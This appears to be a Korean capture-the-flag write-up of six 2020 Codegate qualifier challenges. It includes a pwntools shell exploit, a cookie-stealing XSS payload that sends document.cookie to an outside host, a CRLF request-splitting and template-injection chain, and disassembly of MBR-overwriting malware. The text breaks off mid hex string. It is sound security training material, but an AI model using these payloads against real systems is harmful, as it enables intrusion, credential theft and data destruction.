Uiseong Park zairo

Write-up

2020 Codegate Quals

2020 Codegate Write-up
Team. NOAR (zairo, gpsfly, KuroNeko, BadSpell, wwwlk, onestar, kkamikoon)


babyllvm (702pt)


Description

Analysis

해당 문제는 brainfuck 코드를 사용자로 부터 입력받아 JIT engine을 통해 컴파일하여 실행하는 문제입니다.

해당 문제의 핵심은 아래 runtime.soptrBoundCheck 함수 실행 우회하는 것 입니다. ptrBoundCheck 함수는 간단히 현재 포인터가 startbound 포인터 사이에 위치하는지 확인하는 함수 입니다.

// ptrBoundCheck function in runtime.so

unsigned __int64 __fastcall ptrBoundCheck(unsigned __int64 start, unsigned __int64 bound, unsigned __int64 cur)
{
    unsigned __int64 result; // rax

    if ( cur < start || (result = cur, cur > bound) )
    {
    fprintf(stderr, "assert (0x%lx < 0x%lx < 0x%lx)!!\n", start, cur, bound);
    exit(-1);
    }
    return result;
}

main.py 에서 ptrBoundCheck 함수 호출부를 확인해보면 is_safe 함수를 통해 호출하는 것을 확인할 수 있습니다. 여기서 is_safe 함수의 리턴이 True 가 나올경우, ptrBoundCheck 를 실행되지 않고 우회할 수 있습니다.

Untitled.png

is_safe 함수를 살펴보면, whitelist(a1, a2) 와 같이 튜플 형태이며, a1 ≤ rel_pos ≤ a2 조건을 만족할 경우 True를 반환하게 됩니다.

def is_safe(v, wl):
    print("[is_safe] rel_pos: {}, whitelist: {}".format(v, wl))
    if wl == None:
        return False
    a1, a2 = wl
    return v >= a1 and v <= a2

아래 codegen 함수 선언부에서 보이는 것과 같이 whitelist 인자는 기본적으로 None 으로 할당 되어 있습니다. 해당 인자를 컨트롤하기 위해 공격자는 아래 br1b = self.br1.codegen(module, (0, 0)), br2b = self.br2.codegen(module, (0, 0)) 코드를 이용하여 whitelist 인자를 넣어 줄 수 있습니다. 또한, self.isLinearTrue 일때, rel_pos = 0 코드를 유의해서 보아야합니다. 이후 is_safe 함수를 통해 a1 ≤ rel_pos ≤ a2 (0 ≤ 0 ≤ 0) 조건을 만족하여 True를 반환 할 수 있습니다.

def codegen(self, module, whitelist=None):
        main_routine = findFunctionByName(module, "main_routine")

        if (self.isLinear == True):
            print("[codegen] isLinear == True")
            block = main_routine.append_basic_block()
            builder = llvmIR.IRBuilder()
            builder.position_at_end(block)

            dptr_ptr = findGlobvarByName(module, "data_ptr")
            sptr_ptr = findGlobvarByName(module, "start_ptr")
            ptrBoundCheck = findFunctionByName(module, "ptrBoundCheck")
            print_char = findFunctionByName(module, "print_char")
            read_char = findFunctionByName(module, "read_char")
            rel_pos = 0 # <-
    ...

    else:
            print("[codegen] isLinear == False")
            # create all blocks
            headb = self.head.codegen(module)
            br1b = self.br1.codegen(module, (0, 0)) # <-
            br2b = self.br2.codegen(module, (0, 0)) # <-
    ...

위와 같은 결과들을 토대로, OOB 를 할 수 있는 payload 를 작성해보면 ex) +[-]<<<<[,.>>>>]. 와 같습니다.

해당 payload를 도식화 하면 아래와 같습니다. 실행결과 ptrBoundCheck 가 실행되지 않고, 현재 포인터의 -4 offset에 위치한 값을 덮어쓰고 읽은 것을 확인할 수 있습니다.

[phase 1]
branch_1:   +
branch_2:   -
branch_3:   <<<<[,.>>>>].

[phase 2]
branch_1:   +
branch_2:   -
branch_3:   branch_3_1: <<<<
            branch_3_2: ,.>>>>
            branch_3_3: .

Untitled%201.png

필자는 -75~-81 offset에 위치한 exit@got 를 leak 해서 Libc_base 주소를 구하고, exit@got 를 one_gadget 으로 덮어 쉘을 획득하였습니다.

from pwn import *
import sys

HOST, PORT = '58.229.240.181', '7777'
# HOST, PORT = 'localhost', '7777'

def debug():
    context.log_level = "debug"

conn = remote(HOST, PORT)
sla = conn.sendlineafter
ru = conn.recvuntil
io = conn.interactive
cl = conn.close

if len(sys.argv) > 1:
    context.terminal = ['tmux', 'new-window']
    gdb.attach(proc.pidof(conn)[0], \
        '''
            codebase
        ''')

pay = ''.join(['+[-]{}[.{}]'.format('<'*i,'>'*i) for i in range(75, 81)])
sla(">>> ", pay)
LEAK = int(conn.recv(6).encode('hex'),16)
# LIBC = LEAK+0x6b1980a # local
LIBC = LEAK+0x697480a # remote
ONE = LIBC+0x10a38c
log.info("LEAK @ {}".format(hex(LEAK)))
log.info("LIBC @ {}".format(hex(LIBC)))
log.info("ONE @ {}".format(hex(ONE)))

pay = ''.join(['+[-]{}[,{}]'.format('<'*i,'>'*i) for i in range(80, 76, -1)])
sla(">>> ", pay)
sleep(0.2)
conn.sendline(p64(ONE)[:4])
sla(">>> ", "<.")

io()
cl()

CODEGATE2020{next_time_i_should_make_a_backend_for_bf_as_well}


ENIGMA (49pt)


Description

Analysis

에니그마 암호문인데 각 문자를 치환암호라고 생각하고 풀면 됩니다.

DON'T LET YOUR RIGHT HAND KNOW WHAT YOUR LEFT HAND DID
5+,'( "2( )+-3 r-/:( :*,5 ',+1 1:*( )+3 "26( :*,5 5-d


ONCE A HACKER IS AN ETERNAL HACKER
+,92 * :*9'23 -4 *, 2(23,*" :*9'23


A HACKER WITHOUT PHILOSOPHY IS JUST AN EVIL COMPUTER GENIUS
* :*9'23 1-(:+-( @:-"+4+@:) -4 ;_4( *, 2?-" 9+.@_(23 /2,-_4

flag is :
9+52/*(22020{:*9'234 *32 ,+( !+3, +,") -( -4 .*52}

CODEGATE2020{HACKERS ARE NOT !ORN ONLY IT IS MADE}가 나오는데 !ORN을 적당히 추측해서 풀면 됩니다.

CODEGATE2020{HACKERS ARE NOT BORN ONLY IT IS MADE}


Halffeed (670pt)


Description

Analysis

cat flag라는 명령을 입력하면 플래그를 주지만 필터링 되어 있습니다. 암호 자체는 간단한 xor인데 암호문의 결과에 따라 태그를 AES ECB암호화 하여 확인하고 있습니다.

encryptdecrypt를 보면 K의 라운드 마다 T에 상관없이 항상 동일한 것을 알 수 있습니다.

T, K = aes_encrypt(Kn, nonce)

ciphertext = b''
for i in range(0, len(plaintext), 16):
    T, block = self.feed_plus(T, plaintext[i:i+16])
    ciphertext += block
    T, K = aes_encrypt(K, T)

T = bytes(b1 ^ b2 for b1, b2 in zip(T, delta))
T, _ = aes_encrypt(K, T)

따라서 같은 라운드에서 T의 값만 맞춰주면 같은 태그를 구할 수 있습니다. 이걸 이용하여 cat fla까지 첫 번째 블록을 암호화 한 뒤, 뒤의 g;만 브포하여 구하면 됩니다.

#!/usr/bin/python3
from pwn import *

context.log_level='debug'

def pad(data):
    assert isinstance(data, bytes)
    assert len(data) <= 16

    if len(data) != 16:
        data += b'\x01' + b'\x00' * (15 - len(data))
    return data

def feed_plus_inv(tag, target):
    pre = bytes([tag[x] ^ target[x] for x in range(8)])
    post = bytes([target[x] for x in range(8, 0x10)])

    return pre + post

def feed_plus(tag, data):
    enc_data = bytes(b1 ^ b2 for b1, b2 in zip(tag, data))
    feed_data = pad(data)[:8] + pad(enc_data)[8:]
    tag = bytes(b1 ^ b2 for b1, b2 in zip(tag, feed_data))

    return tag, enc_data

def execute(nonce, cipher, tag):
    p.recvuntil("> ")
    p.sendline("3")
    p.sendlineafter("nonce = ", nonce)
    p.sendlineafter("ciphertext = ", cipher)
    p.sendlineafter("tag = ", tag)
    p.interactive()

T = b'0012873ff3cf4ba6d2a8f2d95fd79635'
T = bytes.fromhex(T.decode())
m = b'6729ed30e942376d0000000000000000'
m = bytes.fromhex(m.decode())
Tn = feed_plus_inv(T, m)
T_tag, Data = feed_plus(T, Tn)
Data = Data.hex()

nonce = b'00000000000000000000000000000006'
payload = b'ef3724b89ae78ea38400b027793b85db' + Data.encode()
tag = b'8b68020495c716e893dedcb71cd53983'

p = remote("110.10.147.44", 7777)
print(execute(nonce, payload, tag))

CODEGATE2020{F33D1NG_0N1Y_H4LF_BL0CK_W1TH_BL0CK_C1PH3R}


CSP (702pt)


Description

Analysis

<?php
require_once 'config.php';

if(!isset($_GET["q"]) || !isset($_GET["sig"])) {
    die("?");
}

$api_string = base64_decode($_GET["q"]);
$sig = $_GET["sig"];

if(md5($salt.$api_string) !== $sig){
    die("??");
}

//APIs Format : name(b64),p1(b64),p2(b64)|name(b64),p1(b64),p2(b64) ...
$apis = explode("|", $api_string);
foreach($apis as $s) {
    $info = explode(",", $s);
    if(count($info) != 3)
        continue;
    $n = base64_decode($info[0]);
    $p1 = base64_decode($info[1]);
    $p2 = base64_decode($info[2]);

    if ($n === "header") {
        if(strlen($p1) > 10)
            continue;
        if(strpos($p1.$p2, ":") !== false || strpos($p1.$p2, "-") !== false) //Don't trick...
            continue;
        header("$p1: $p2");
    }
    elseif ($n === "cookie") {
        setcookie($p1, $p2);
    }
    elseif ($n === "body") {
        if(preg_match("/<.*>/", $p1))
            continue;
        echo $p1;
        echo "\n<br />\n";
    }
    elseif ($n === "hello") {
        echo "Hello, World!\n";
    }
}

해당 문제는 api.php의 소스코드를 제공합니다. api를 사용하여 php의 header, setcookie, echo 함수를 호출할 수 있습니다.

Untitled%202.png

또한, 페이지에서 전송되는 CSP 헤더 확인 결과 default-srcself로 허용하고 있고, script-src, base-urinone으로 설정되어 전혀 허용하고 있지 않는 것을 확인할 수 있습니다. 따라서 해당 페이지에서 XSS 등을 이용한 스크립트 실행이 불가능하며 iframe이나 object 태그 등으로 해당 페이지 내부에 존재하는 페이지만 로드할 수 있습니다.

하지만, 400이나 500과 같은 에러를 유발한다면, 해당 페이지에서는 CSP 헤더가 설정되지 않으므로 에러 페이지를 이용하여 임의 스크립트를 실행할 수 있습니다.

Untitled%203.png

php의 header 함수 확인 결과, 위와 같이 고의적으로 에러를 발생시킬 수 있음을 확인하였습니다. api.php에서는 header를 호출할 수 있는 기능을 제공하므로 header를 이용하여 에러 코드를 발생시키고, echo 호출을 이용하여 script를 삽입한다면 CSP 헤더가 설정되어 있지 않은 상태에서 실행되므로 임의의 script를 실행할 수 있습니다.

따라서 api를 연속적으로 실행하여야 하는데, api.php에서 $salt를 알 수 없으므로, $sig를 맞춰서 우회하여야 합니다. 해당 부분은 Length extension attack을 이용하여 우회할 수 있습니다. 따라서 api를 연속하여 호출할 수 있으며 headerbody를 연속으로 호출하여 script를 실행할 수 있습니다.

from base64 import *
import hashpumpy
import requests, re

def find_str(f, l, data):
    return re.findall(re.escape(f) + '(.*?)' + re.escape(l), data)[0]

def b64e(data):
    return b64encode(data)

def make_api_string(apis):
    api_strings = []
    for api, p1, p2 in apis:
        api_string = "{api},{p1},{p2}".format(api=b64e(api),\
                                                p1=b64e(p1),
                                                p2=b64e(p2))
        api_strings.append(api_string)
    return '|'.join(api_strings)

s = requests.session()
params = {
    "name": "",
    "p1": "",
    "p2": ""
}

params["name"] = "A"
r = s.get("http://110.10.147.166/view.php", params=params)
sig = find_str("sig=", "&", r.text)
q = b64decode(find_str("&q=", '"', r.text))


xss = "var a = new Image(); a.src='//home.zairo.kr:1234/'+btoa(document.cookie);"
apis = [
    ('header', 'HTTP/1.0', '500 Not Found'),
    ('body', '<script a="', ''),
    ('body', '">/*', ''),
    ('body', '*/{}/*'.format(xss), ''),
    ('body', '*/</script a="', ''),
    ('body', '">', ''),
]

payload = make_api_string(apis)

i = 0
while True:
    i += 1
    _sig, _q = hashpumpy.hashpump(sig, q, "|{}".format(payload), i)
    params2 = {
        "sig": _sig,
        "q": b64encode(_q)
    }
    # print(sig, q, params["name"])
    r = s.get("http://110.10.147.166/api.php", params=params2)
    data = r.text
    if data.find("??") == -1:
        print(data)
        break

url = "http://110.10.147.166/api.php?sig={}&q={}".format(_sig, b64encode(_q))
print(url)

따라서 링크를 생성하고 이를 운영자에게 report 한 후 운영자의 cookie를 탈취할 수 있습니다.

Untitled%204.png

Untitled%205.png

CODEGATE2020{CSP_m34n5_Content-Success-Policy_n0t_Security}


renderer (750pt)


Description

Analysis

Untitled%206.png

페이지를 확인한 결과 사용자로부터 URL을 입력받고 이를 urllib2.urlopen 함수를 이용해서 실행한 결과를 출력해주는 페이지임을 알 수 있습니다.

Python 2.x ~ 2.7.16 버전의 경우, [CVE-2019-9740] Python urllib CRLF injection vulnerability 취약점이 발견되었으며 이를 이용하면 HTTP에 임의의 Header를 추가 할 수 있고 더 나아가서 HTTP Request Splitting 취약점을 이용해 온전한 HTTP Request 패킷을 전송할 수 있습니다.

Untitled%207.png

payload = 'http://home.zairo.kr:1234/ HTTP/1.1\r\nHost: 127.0.0.1\r\n\r\nGET /xxx '와 같이 URL을 전송하게 되면 위와 같이 HTTP Request Splitting 취약점이 발생함을 확인할 수 있습니다.

기능상의 취약점은 위와 같고 문제 설명에서 flask project with nginx라고 설명하였으니 NGINX에서 발생하는 취약점을 찾아 보아야 합니다.

NGINX에서 발생할 수 있는 대표 취약점은 잘못된 alias 설정으로 인해 발생하는 Path traversal 취약점이 존재합니다.

location /i/ {
    alias /data/w3/images/;
}

정상적인 alias 설정의 경우 위와 같이 설정하여야 하지만 아래와 같이 location의 뒷부분에 directory separator (i.e. /)가 누락되어 설정될 경우, 해당 디렉토리의 상위로 접근할 수 있는 Path traversal 취약점이 발생하게 됩니다.

location /i {
    alias /data/w3/images/;
}

해당 취약점에 대한 자세한 내용은 https://www.acunetix.com/vulnerabilities/web/path-traversal-via-misconfigured-nginx-alias/에 설명되어 있습니다.

문제에서 주어진 파일은 Dockerfilerun.sh만 주어져 있습니다. /home/src/uwsgi.ini 설정파일을 확인하기 위해 경로이므로 해당 파일을 찾기 위해 http://110.10.147.169/static../src/uwsgi.ini에 접근하여 파일을 다운로드 받습니다.

Untitled%208.png

uwsgi.ini 확인 결과, 실행 파일의 경로를 알아낼 수 있었습니다. chdir, module 설정에 따라 실행경로가 /home/src/run.py 임을 알 수 있고, http://110.10.147.169/static../src/run.py 로 접근하여 다운로드 하였습니다.

Untitled%209.png

from app import *로 되어있는 것으로 보아 /home/src/app/__init__.py파일이 존재하는 것을 알 수 있습니다. http://110.10.147.169/static../src/app/__init__.py 로 접근하여 다운로드 하였습니다.

Untitled%2010.png

소스코드 상단에 from app import routes를 보아 /home/src/app/routes.py 가 존재하는 것을 알 수 있습니다. 또한 app.config["FLAG"]에 FLAG가 셋팅된 것을 확인할 수 있습니다. http://110.10.147.169/static../src/app/routes.py 로 접근하여 다운로드 하였습니다.

from flask import Flask, render_template, render_template_string, request, redirect, abort, Blueprint
import urllib2
import time
import hashlib

from os import path
from urlparse import urlparse

front = Blueprint("renderer", __name__)

@front.before_request
def test():
    print(request.url)

@front.route("/", methods=["GET", "POST"])
def index():
    if request.method == "GET":
        return render_template("index.html")

    url = request.form.get("url")
    res = proxy_read(url) if url else False
    if not res:
        abort(400)

    return render_template("index.html", data = res)

@front.route("/whatismyip", methods=["GET"])
def ipcheck():
    return render_template("ip.html", ip = get_ip(), real_ip = get_real_ip())

@front.route("/admin", methods=["GET"])
def admin_access():
    ip = get_ip()
    rip = get_real_ip()

    if ip not in ["127.0.0.1", "127.0.0.2"]: #super private ip :)
        abort(403)

    if ip != rip: #if use proxy
        ticket = write_log(rip)
        return render_template("admin_remote.html", ticket = ticket)

    else:
        if ip == "127.0.0.2" and request.args.get("body"):
            ticket = write_extend_log(rip, request.args.get("body"))
            return render_template("admin_local.html", ticket = ticket)
        else:
            return render_template("admin_local.html", ticket = None)

@front.route("/admin/ticket", methods=["GET"])
def admin_ticket():
    ip = get_ip()
    rip = get_real_ip()

    if ip != rip: #proxy doesn't allow to show ticket
        print 1
        abort(403)
    if ip not in ["127.0.0.1", "127.0.0.2"]: #only local
        print 2
        abort(403)
    if request.headers.get("User-Agent") != "AdminBrowser/1.337":
        print request.headers.get("User-Agent")
        abort(403)

    if request.args.get("ticket"):
        log = read_log(request.args.get("ticket"))
        if not log:
            print 4
            abort(403)
        return render_template_string(log)

def get_ip():
    return request.remote_addr

def get_real_ip():
    return request.headers.get("X-Forwarded-For") or get_ip()

def proxy_read(url):
    #TODO : implement logging

    s = urlparse(url).scheme
    if s not in ["http", "https"]: #sjgdmfRk akfRk
        return ""

    return urllib2.urlopen(url).read()

def write_log(rip):
    tid = hashlib.sha1(str(time.time()) + rip).hexdigest()
    with open("/home/tickets/%s" % tid, "w") as f:
        log_str = "Admin page accessed from %s" % rip
        f.write(log_str)

    return tid

def write_extend_log(rip, body):
    tid = hashlib.sha1(str(time.time()) + rip).hexdigest()
    with open("/home/tickets/%s" % tid, "w") as f:
        f.write(body)

    return tid

def read_log(ticket):
    if not (ticket and ticket.isalnum()):
        return False

    if path.exists("/home/tickets/%s" % ticket):
        with open("/home/tickets/%s" % ticket, "r") as f:
            return f.read()
    else:
        return False

Untitled%2011.png

취약점이 발생하는 부분은 render_template_string 입니다. 해당 log 변수의 값에 Jinja 코드를 삽입한다면 Template Injection 취약점이 발생하게 됩니다. 이를 이용하여 app.config["FLAG"]를 출력하여 FLAG를 획득 할 수 있습니다. 이제 log에 값을 넣을 수 있는 부분을 살펴보아야 합니다.

Untitled%2012.png

Untitled%2013.png

Untitled%2014.png

routes.py를 다운로드 하여 분석하면 사실 if ip == "127.0.0.2" and request.args.get("body"): 부분으로 눈이가게 되어있는데 사실 FAKE 입니다. 해당 부분은 ip 필터링을 통과할 수 없습니다.

따라서 저희가 노려야 할 부분은 rip 변수에 들어가는 값 입니다. rip 변수에는 get_real_ip 함수에서 X-Forwarded-For 헤더를 통해 입력 받습니다. 저희는 Header Injeciton 취약점을 가지고 있고 X-Forwarded-For 헤더를 자유롭게 컨트롤 할 수 있으므로 해당값에 Jinja 코드를 삽입하여 tickets을 생성한 후에 위의 render_template_string를 통해 Template Injection 취약점을 발생시킬 수 있습니다.

아래의 코드는 해당 취약점을 이용하여 FLAG를 획득하는 코드 입니다.

from collections import OrderedDict
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

def send_payload(s, payload):
    # variable initialization
    url = ""
    headers = {}
    params = {}
    data = {}

    # URL setting
    scheme = 'http'
    url = '{}://58.229.253.144/renderer/'.format(scheme)

    # headers setting
    headers = OrderedDict()
    headers['Connection'] = 'keep-alive'
    headers['Cache-Control'] = 'max-age=0'
    headers['Origin'] = 'http://110.10.147.169'
    headers['Upgrade-Insecure-Requests'] = '1'
    headers['Content-Type'] = 'application/x-www-form-urlencoded'
    headers['User-Agent'] = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36'
    headers['Accept'] = 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9'
    headers['Referer'] = 'http://110.10.147.169/renderer/'
    headers['Accept-Encoding'] = 'gzip, deflate'
    headers['Accept-Language'] = 'ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7'

    # params setting
    params = OrderedDict()

    # data setting
    data = OrderedDict()
    data['url'] = payload

    # send packet
    r = s.post(url, headers=headers, params=params, data=data, verify=False)
    return (r.status_code, r.text)


if __name__ == "__main__":
    # requests initialization
    s = requests.Session()

    # let's exploit!
    template_injection = "{{config.FLAG}}"

    payload = 'http://127.0.0.1/renderer/admin?body=1 HTTP/1.1\r\nHost: 127.0.0.1\r\nUser-Agent: AdminBrowser/1.337\r\nX-Forwarded-For: {}\r\n\r\n\r\n\r\nGET /xxx '.format(template_injection)
    _, res = send_payload(s, payload)
    temp = res[res.find('Your access log is written with ticket no ')+len('Your access log is written with ticket no '):]
    ticket = temp[:temp.find('\n')].strip()
    print(ticket)

    # send ticket
    payload = 'http://127.0.0.1/renderer/admin/ticket?ticket={} HTTP/1.1\r\nHost: 127.0.0.1\r\nUser-Agent: AdminBrowser/1.337\r\n\r\nGET /xxx '.format(ticket)
    _, res = send_payload(s, payload)
    print(res)

Untitled%2015.png

CODEGATE2020{CrLfMakesLocalGreatAgain}


malicious (702pt)


Description

  • I bring very malicious virus sample from future! Can you rev this virus?
  • flag format is CODEGATE2020{[printed string by given program]}
  • [Warning]
  • Program may harmful to your system!
  • Use static analysis only or carefully handled dynamic analysis with virtual machine.
  • ZIP FILE PASSWORD : 1717117
  • 해당 파일은 위험하므로 제거 하였습니다. 필요시 이메일로 요청해주시면 전송해드리겠습니다.

Analysis

Untitled%2016.png

대략적으로 오디팅을 했을 때의 main 함수입니다. 위의 함수에서는 일정한 랜덤값을 가져와서 4바이트 값을 만들어 현재 시간과 비교하는 함수가 존재하고, 서버로부터 HTTP request를 보냈을 때 response 값을 비교하여 반복문을 수행합니다.

Untitled%2017.png

Untitled%2018.png

result_hash의 값을 구글링하여 검색해본 결과, activate가 md5된 결과였습니다. 그러므로 activate를 동적 디버깅으로 server_result에 값을 변경한 이후, mbr_write 함수 실행하게 되면 정상적으로 동작되게 됩니다. mbr_write 함수에서는 아래와 같이 camellia cipher를 사용해서 encrypt된 코드를 decrypt를 해준 이후, 실행해주게 됩니다.

Untitled%2019.png

loc_403cc1 함수를 decrypt한 결과는 다음과 같습니다.

.text:00403CC1 push    ebp
.text:00403CC2 mov     ebp, esp
.text:00403CC4 sub     esp, 158h
.text:00403CCA lea     eax, [ebp-130h]
.text:00403CD0 mov     [esp+8], eax
.text:00403CD4 mov     dword ptr [esp+4], 80h
.text:00403CDC mov     dword ptr [esp], offset unk_40A440
.text:00403CE3 call    camellia_setup
.text:00403CE8 mov     dword ptr [ebp-0Ch], 0
.text:00403CEF jmp     short loc_403D1D
.text:00403CF1 ; ---------------------------------------------------------------------------
.text:00403CF1
.text:00403CF1 loc_403CF1:                             ; CODE XREF: .text:00403D24↓j
.text:00403CF1 mov     eax, [ebp-0Ch]
.text:00403CF4 lea     ecx, encrypted_mbr[eax]
.text:00403CFA mov     eax, [ebp-0Ch]
.text:00403CFD lea     edx, encrypted_mbr[eax]
.text:00403D03 lea     eax, [ebp-130h]
.text:00403D09 mov     [esp+8], eax
.text:00403D0D mov     [esp+4], ecx
.text:00403D11 mov     [esp], edx
.text:00403D14
.text:00403D14 loc_403D14:
.text:00403D14 call    camellia_decrypt
.text:00403D19 add     dword ptr [ebp-0Ch], 10h
.text:00403D1D
.text:00403D1D loc_403D1D:                             ; CODE XREF: .text:00403CEF↑j
.text:00403D1D cmp     dword ptr [ebp-0Ch], 43FFh
.text:00403D24 jle     short loc_403CF1
.text:00403D26 mov     dword ptr [esp+18h], 0
.text:00403D2E mov     dword ptr [esp+14h], 0
.text:00403D36 mov     dword ptr [esp+10h], 3
.text:00403D3E mov     dword ptr [esp+0Ch], 0
.text:00403D46 mov     dword ptr [esp+8], 3
.text:00403D4E mov     dword ptr [esp+4], 10000000h
.text:00403D56 mov     dword ptr [esp], offset aPhysicaldrive1 ; "\\\\.\\PhysicalDrive10000"
.text:00403D5D mov     eax, ds:CreateFileA
.text:00403D62 call    eax ; CreateFileA
.text:00403D64 sub     esp, 1Ch
.text:00403D67 mov     [ebp-10h], eax
.text:00403D6A cmp     dword ptr [ebp-10h], 0FFFFFFFFh
.text:00403D6E jnz     short loc_403D72
.text:00403D70 jmp     short locret_403DAF
.text:00403D72 ; ---------------------------------------------------------------------------
.text:00403D72
.text:00403D72 loc_403D72:                             ; CODE XREF: .text:00403D6E↑j
.text:00403D72 mov     dword ptr [esp+10h], 0
.text:00403D7A lea     eax, [ebp-14h]
.text:00403D7D mov     [esp+0Ch], eax
.text:00403D81 mov     dword ptr [esp+8], 4400h
.text:00403D89 mov     dword ptr [esp+4], offset encrypted_mbr
.text:00403D91 mov     eax, [ebp-10h]
.text:00403D94 mov     [esp], eax
.text:00403D97 mov     eax, ds:WriteFile
.text:00403D9C call    eax ; WriteFile
.text:00403D9E sub     esp, 14h
.text:00403DA1 mov     dword ptr [esp], offset aShutdownRT00 ; "shutdown -r -t 00"
.text:00403DA8 call    system
.text:00403DAD nop
.text:00403DAE nop
.text:00403DAF
.text:00403DAF locret_403DAF:                          ; CODE XREF: .text:00403D70↑j
.text:00403DAF leave
.text:00403DB0 retn

encrypt된 mbrcamellia_decrypt 후, physical drive에 작성하여 mbr를 수정하는 모습을 볼 수 있었습니다. decrypt 이후의 mbr만 추출하여 vmware에서 hxd를 이용해 mbr을 수정한 다음, 재부팅을 하게 되면 다음과 같이 Not a chance 가 출력되며 대기하고 있습니다.

Untitled%2020.png

mbr을 분석하기 위해서 아래와 같이 셋팅을 해줍니다.

VMware .vmx file
debugStub.listen.guest32 = "TRUE"
debugStub.hideBreakpoints = "TRUE"
monitor.debugOnStartGuest32 = "TRUE"

IDA
Debugger > Attach > Remote GDB Debugger
Host = localhost
Port = 8832

Debugging 중, Ctrl+1 -> Segment 설정 -> Edit segment -> 32bit를 16bit로 변경

이후, Not a chance를 출력 후 무한 루프를 도는 곳을 찾고 해당 명령어 다음에 sector를 읽고 무언가 출력해주는 부분을 볼 수 있었습니다. 그러므로 해당 부분을 파이썬으로 포팅하게 되면 다음과 같습니다.

Untitled%2021.png

a = "\x4A\x57\x5E\x75\x38\x66\x3B\x79\x3A\x60\x75\x61\x26\x38\x68\x5E\x28\x68\x6C\x6C\x72\x76\x71\x7E\x55\x47\x38\x42\x7A\x4A\x6B\x4D\x4D\x65\x37\x79\x45\x62\x2E\x70\x4C\x63\x38\x74\x79\x3D\x3D\x36\x50\x62\x5F\x77\x66\x55\x6E\x33\x79\x6C\x56\x29\x41\x36\x75\x65\x6A\x2E\x4F\x68\x54\x5B\x5F\x47\x6C\x76\x64\x6E\x47\x60\x47\x69\x71\x74\x4A\x66\x63\x78\x3C\x66\x5F\x5C\x3B\x7A\x55\x4B\x75\x2D\x60\x3E\x25\x3A\x2A\x27\x2B\x7A\x5D\x39\x48\x28\x65\x62\x5A\x44\x4B\x6B\x60\x37\x3B\x6F\x69\x3B\x6B\x74\x77\x7C\x44\x4B\x49\x77\x31\x50\x52\x39\x63\x3E\x50\x3F\x4C\x61\x46\x5E\x71\x7E\x55\x41\x2C\x63\x5E\x43\x31\x37\x24\x4B\x5F\x42\x39\x2A\x48\x32\x47\x28\x5B\x6A\x3D\x72\x79\x64\x29\x25\x4B\x4C\x6A\x49\x65\x4A\x23\x4C\x74\x63\x54\x32\x60\x41\x6B\x39\x47\x4F\x69\x48\x6B\x31\x72\x5E\x22\x29\x4E\x3A\x5F\x23\x5E\x36\x72\x37\x25\x46\x25\x62\x4D\x73\x32\x62\x3C\x78\x70\x28\x6A\x44\x7B\x40\x7D\x5C\x68\x50\x64\x64\x39\x58\x79\x73\x57\x32\x39\x58\x6B\x5E\x3B\x79\x22\x66\x67\x47\x33\x4B\x3B\x23\x23\x2A\x46\x49\x61\x64\x26\x35\x2C\x27\x39\x50\x62\x3A\x7A\x54\x7E\x63\x4D\x69\x3F\x51\x43\x65\x51\x2B\x4B\x7B\x76\x5B\x30\x42\x4A\x38\x54\x43\x73\x6F\x76\x38\x5E\x3F\x21\x2F\x7B\x24\x4B\x36\x52\x46\x78\x70\x32\x38\x35\x7C\x4E\x7E\x5D\x22\x79\x40\x26\x71\x6D\x78\x23\x57\x7B\x48\x5D\x23\x79\x72\x38\x56\x24\x27\x74\x54\x31\x6F\x73\x51\x3D\x24\x5E\x4A\x4C\x7B\x26\x57\x36\x6B\x6A\x2B\x4B\x67\x33\x72\x5D\x72\x6A\x78\x23\x29\x5F\x51\x39\x6A\x5D\x54\x4A\x54\x4A\x5D\x27\x38\x32\x5D\x79\x2D\x5B\x5D\x48\x48\x23\x21\x53\x4B\x60\x6C\x21\x72\x42\x77\x54\x60\x3C\x4B\x5A\x7E\x4B\x5D\x22\x34\x48\x5C\x4A\x65\x52\x43\x60\x26\x7A\x45\x51\x61\x35\x3A\x7E\x7B\x6A\x63\x68\x53\x72\x3C\x38\x4B\x6C\x3C\x30\x71\x73\x60\x4F\x7D\x2B\x6B\x54\x2E\x76\x53\x25\x5C\x6E\x31\x2B\x37\x25\x65\x52\x21\x24\x67\x59\x3E\x53\x5B\x4A\x6B\x4D\x36\x30\x7B\x21\x21\x5D\x3C\x30\x66\x68\x53\x7E\x77\x33\x7B\x65\x3C\x6A\x62\x50\x53\x38\x55\x49\x48\x70\x6A\x52\x79\x29\x71\x34\x3B\x6C\x72\x38\x5B\x45\x7D\x70\x7B\x51\x3C\x7B\x65\x2C\x41\x71\x3C\x6D\x2C\x7E\x72\x61\x56\x65\x48\x55\x64\x64\x53\x37\x31\x67\x51\x57\x48\x5E\x37\x26\x4A\x52\x4D\x65\x25\x71\x35\x2C\x71\x69\x7E\x45\x70\x7A\x6D\x79\x76\x71\x4D\x79\x59\x51\x48\x69\x4E\x60\x57\x65\x2D\x2A\x78\x7C\x28\x70\x32\x70\x4A\x71\x60\x4A\x32\x22\x2C\x7C\x63\x6D\x43\x25\x74\x56\x57\x3E\x50\x3E\x42\x6F\x28\x3D\x7C\x56\x50\x3F\x33\x22\x5C\x42\x33\x3A\x57\x5F\x78\x6E\x4F\x2A\x51\x37\x3E\x67\x79\x5D\x4A\x5C\x46\x2E\x56\x7B\x40\x30\x60\x3C\x21\x26\x59\x4B\x75\x34\x56\x4A\x5C\x27\x32\x7E\x2B\x47\x6F\x50\x2B\x41\x4B\x7B\x3B\x65\x78\x69\x64\x58\x4E\x53\x69\x41\x5B\x44\x72\x62\x57\x62\x44\x44\x68\x5D\x3C\x29\x56\x5D\x26\x55\x39\x5B\x6A\x6C\x51\x67\x6A\x5B\x43\x3F\x4E\x30\x55\x47\x59\x65\x3C\x2F\x23\x76\x54\x72\x38\x48\x59\x22\x5E\x35\x7E\x65\x51\x4C\x7B\x70\x5C\x3A\x3F\x41\x73\x7A\x55\x52\x4F\x34\x6E\x6C\x27\x23\x32\x69\x21\x2E\x5B\x53\x29\x50\x67\x28\x6A\x61\x21\x2E\x4A\x51\x6C\x34\x6B\x41\x31\x6C\x38\x60\x59\x3C\x3C\x2E\x79\x2A\x7D\x7E\x60\x4C\x4F\x27\x42\x2C\x22\x31\x6A\x40\x28\x42\x52\x66\x3A\x62\x62\x57\x6C\x